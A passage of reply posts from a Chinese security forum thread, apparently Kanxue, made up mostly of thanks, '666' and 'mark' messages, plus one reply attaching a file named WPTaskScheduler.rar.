chengweiquan 雪币： 227 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	chengweiquan 16 楼感谢分享 2026-7-5 14:29 1
淡然他徒弟雪币： 5608 活跃值： (7358) 能力值： ( LV10，RANK：160 ) 在线值：发帖 23 回帖 299 粉丝 125 关注私信	淡然他徒弟 1 17 楼 mark 2026-7-5 15:43 0
mb_ewasrnui 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_ewasrnui 18 楼 2026-7-5 23:16 0
wowocock 雪币： 395 活跃值： (4035) 能力值： ( LV4，RANK：50 ) 在线值：发帖 4 回帖 301 粉丝 23 关注私信	wowocock 1 19 楼早就能枚举了吧上传的附件： WPTaskScheduler.rar （56.46kb，7次下载） 2026-7-7 10:49 0
wx_刷题找工作雪币： 232 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 10 粉丝 0 关注私信	wx_刷题找工作 20 楼 666 2026-7-7 15:57 0
CyberFighter 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 14 粉丝 0 关注私信	CyberFighter 21 楼感谢分享 2026-7-9 10:24 0
褐眼男子雪币： 60 活跃值： (624) 能力值： ( LV5，RANK：65 ) 在线值：发帖 75 回帖 309 粉丝 5 关注私信	褐眼男子 1 22 楼 2026-8-8 11:21 0
mb_hmhdjpsb 雪币： 197 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 7 粉丝 0 关注私信	mb_hmhdjpsb 23 楼 6666 2026-8-8 20:52 0
mb_ialpzbtx 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_ialpzbtx 24 楼 66666 2026-9-9 15:58 0
xtyuns 雪币： 396 活跃值： (983) 能力值： ( LV3，RANK：20 ) 在线值：发帖 1 回帖 57 粉丝 0 关注私信	xtyuns 25 楼感谢分享 2026-9-9 16:17 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复